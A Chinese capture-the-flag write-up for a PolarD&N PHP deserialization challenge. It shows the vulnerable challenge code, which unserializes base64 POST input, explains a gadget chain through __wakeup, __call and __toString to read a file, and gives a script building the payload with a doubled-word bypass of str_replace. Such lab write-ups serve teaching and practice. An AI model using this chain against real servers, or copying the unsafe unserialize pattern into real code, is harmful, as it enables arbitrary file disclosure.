PHP_Deserialization(php反序列化)
题目:
<?php
/*
PolarD&N CTF
*/
class Polar
{
public $night;
public $night_arg;
public function __wakeup()
{
echo "hacker";
$this->night->hacker($this->night_arg);
}
}
class Night
{
public function __call($name, $arguments)
{
echo "wrong call:" . $name . " arg:" . $arguments[0];
}
}
class Day
{
public $filename="/flag";
public function __toString()
{
$this->filename = str_replace("flag", "", $this->filename);
echo file_get_contents($this->filename);
return $this->filename;
}
}
if (isset($_POST['polar'])) {
unserialize(base64_decode($_POST['polar']));
} else {
highlight_file(__FILE__);
}
思路:
__call($method, $args) //调用不存在或不可访问的方法时触发
__toString() //对象被当作字符串处理时触发
入口类Polar,将$this->night=Night类,因为hacker属性在Night不存在,所以会触发__call,然后把$this->night_arg=Day类,因为当触发__call后会把$this->night_arg当成$arguments[0],进行echo输出,属于字符操作,会触发Day类的__toString方法,读取文件,str_replace只会检查一遍,需要双写绕过,最后序列化后base64编码
scrit:
<?php
/*
PolarD&N CTF
*/
class Polar
{
public $night;
public $night_arg;
public function __wakeup()
{
echo "hacker";
$this->night->hacker($this->night_arg);
}
}
class Night
{
public function __call($name, $arguments)
{
echo "wrong call:" . $name . " arg:" . $arguments[0];
}
}
class Day
{
public $filename="/flag";
public function __toString()
{
$this->filename = str_replace("flag", "", $this->filename);
echo file_get_contents($this->filename);
return $this->filename;
}
}
if (isset($_POST['polar'])) {
unserialize(base64_decode($_POST['polar']));
} else {
highlight_file(__FILE__);
}
$a = new Polar();
$b = new Night();
$c = new Day();
$a -> night = $b;
$a ->night_arg = $c;
$c -> filename = "/fflaglag";
echo base64_encode(serialize($a));

浙公网安备 33010602011771号